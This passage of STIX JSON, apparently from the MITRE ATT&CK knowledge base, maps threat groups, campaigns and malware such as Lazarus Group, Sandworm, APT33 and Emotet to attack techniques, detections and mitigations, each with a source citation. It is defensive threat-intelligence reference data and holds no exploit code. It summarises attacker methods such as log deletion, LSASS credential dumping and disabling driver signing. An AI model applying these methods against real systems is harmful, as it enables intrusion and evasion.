2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has routinely deleted log files on a compromised router, including automatic log deletion through the use of the logrotate utility.(Citation: Kaspersky ThreatNeedle Feb 2021) ","modified":"2022-04-06T15:22:24.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d39f49f7-3e63-4625-b6e9-e3fdbd0ae013","created":"2022-09-08T13:54:09.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:54:56.648Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used several remote administration tools as persistent infiltration channels.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d3a3d5c2-a7d0-41b8-9f27-4fafc47ec97d","created":"2022-04-22T18:50:50.487Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-22T18:50:50.487Z","relationship_type":"revoked-by","source_ref":"attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9","target_ref":"attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3a4a83f-fac1-4e28-b1e8-183aabffaa34","created":"2022-08-03T03:26:54.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub PSPKIAudit","description":"HarmJ0y et al. (2021, June 16). PSPKIAudit. Retrieved August 2, 2022.","url":"https://github.com/GhostPack/PSPKIAudit"},{"source_name":"GitHub Certify","description":"HarmJ0y et al. (2021, June 9). Certify. Retrieved August 4, 2022.","url":"https://github.com/GhostPack/Certify/"},{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.696Z","description":"Check and remediate unneeded existing authentication certificates as well as common abusable misconfigurations of CA settings and permissions, such as AD CS certificate enrollment permissions and published overly permissive certificate templates (which define available settings for created certificates). For example, available AD CS certificate templates can be checked via the Certificate Authority MMC snap-in (`certsrv.msc`). `certutil.exe` can also be used to examine various information within an AD CS CA database.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub PSPKIAudit)(Citation: GitHub Certify)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3a5df12-454a-44f7-a3d1-9154dcc815e9","created":"2022-08-30T13:04:12.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T14:38:08.512Z","description":"[Rclone](https://attack.mitre.org/software/S1040) can exfiltrate data over SFTP or HTTPS via WebDAV.(Citation: Rclone)","relationship_type":"uses","source_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3ac0edb-8e56-440f-a844-be61b6045901","type":"relationship","created":"2020-11-25T21:00:55.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T21:00:55.751Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has created email accounts that mimic legitimate organizations for its spearphishing operations.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3ad364c-efd4-48f6-9458-486b882d2e71","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor executed commands and arguments for usage of the profiles tool, such as profiles install -type=configuration.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3b5af98-ac27-4135-9da6-8e917cc0769d","type":"relationship","created":"2019-03-12T16:19:59.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."},{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.705Z","description":"(Citation: FireEye APT33 Guardrail)(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2020-03-16T18:42:42.732Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MimiPenguin GitHub May 2017","description":"Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.","url":"https://github.com/huntergregal/mimipenguin"},{"source_name":"Picus Labs Proc cump 2022","description":"Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.","url":"https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T21:22:02.243Z","description":"[MimiPenguin](https://attack.mitre.org/software/S0179) can use the `/maps` and `/mem` file to search for regex patterns and dump the process memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Picus Labs Proc cump 2022)","relationship_type":"uses","source_ref":"tool--5a33468d-844d-4b1f-98c9-0e786c556b27","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3bbb0ae-a041-444b-a15b-e5943a8b634e","created":"2024-08-14T14:32:31.405Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:32:31.405Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors deleted Windows events and application logs.(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3cbff81-245f-4025-a24a-f9ca5e006fb4","type":"relationship","created":"2020-01-24T15:11:53.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:11:53.692Z","relationship_type":"revoked-by","source_ref":"attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3d44322-8902-4f56-8625-fb14557c0ca8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/275683","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","source_name":"FireEye APT33 Webinar Sept 2017"},{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-06-28T15:05:33.159Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used valid accounts for initial access and privilege escalation.(Citation: FireEye APT33 Webinar Sept 2017)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3d69fb7-c6f3-43d7-bb38-ac26fe22b5be","created":"2024-08-08T17:36:53.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:47:31.194Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can enumerate files on infected devices and avoid encrypting files with .exe, .dll, \t.sys, .lnk, or . lck extensions.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3d7c2a6-33ae-460d-a759-e3f755264d0e","created":"2022-09-21T21:10:34.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:18:38.126Z","description":"A [SUGARDUMP](https://attack.mitre.org/software/S1042) variant has used HTTP for C2.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3d8b77f-d830-4f61-aa2e-bec783fc84f4","type":"relationship","created":"2021-04-23T03:41:32.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."},{"source_name":"GitHub Turla Driver Loader","url":"https://github.com/hfiref0x/TDL","description":"TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."}],"modified":"2021-04-23T03:41:32.022Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has modified variables in kernel memory to turn off Driver Signature Enforcement after exploiting vulnerabilities that obtained kernel mode privileges.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3db2181-a79e-49df-b169-f6b7c52fd7a5","created":"2023-01-09T20:16:51.095Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-09T20:16:51.095Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used domain administrator accounts after dumping LSASS process memory.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3dbd171-a82c-4fef-ba16-2355dd9b513e","created":"2020-03-29T22:57:53.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"CIS Emotet Dec 2018","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/"},{"source_name":"IBM IcedID November 2017","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T20:38:03.682Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that can scrape email addresses from Outlook.(Citation: CIS Emotet Dec 2018)(Citation: IBM IcedID November 2017)(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3e06c85-ec0b-4e6d-b1f0-f65ff9bc5e3a","type":"relationship","created":"2021-10-06T02:04:09.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-06T02:04:09.765Z","description":"[Dok](https://attack.mitre.org/software/S0281) uses AppleScript to install a login Item by sending Apple events to the System Events process.(Citation: hexed osx.dok analysis 2019)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3e0b0b8-797f-4638-bcb6-aa688c3a0a9a","type":"relationship","created":"2019-01-30T16:39:54.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.597Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can communicate over multiple C2 host and port combinations.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3e2ba96-28bb-48be-b46b-3c2349f4d0cd","type":"relationship","created":"2020-11-23T22:19:46.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:19:46.847Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has used msiexec to install the [Machete](https://attack.mitre.org/software/S0409) malware.(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3e90e1c-b669-4909-ae44-75bfe8bf89e8","created":"2019-10-08T19:55:33.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.209Z","description":"Enforce role-based access control to limit accounts to the least privileges they require. A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens. In Kubernetes applications, set “automountServiceAccountToken: false” in the YAML specification of pods that do not require access to service account tokens.(Citation: Kubernetes Hardening Guide)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3ec9fa2-02c9-4445-83c8-92c8e71a77dd","created":"2024-05-22T22:45:10.215Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:45:10.215Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) creates a malicious scheduled task that launches a batch file to remove Windows Event Logs.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3eec81c-8d8d-486d-919b-dc63a12555df","type":"relationship","created":"2020-10-21T19:36:50.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.202Z","description":"[SYNful Knock](https://attack.mitre.org/software/S0519) has the capability to add its own custom backdoor password when it modifies the operating system of the affected network device.(Citation: Mandiant - Synful Knock)","relationship_type":"uses","source_ref":"malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053","target_ref":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3f7e788-7479-41f7-8efc-35b8f2a914f4","created":"2024-09-06T22:05:35.855Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:05:35.855Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used exploits to enable follow-on execution of frameworks such as Meterpreter.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d403d31c-59d6-42bf-91c5-728e14a3f60c","created":"2024-07-01T18:33:14.757Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:33:14.757Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) has the ability to use a HTTP proxy server for C&C 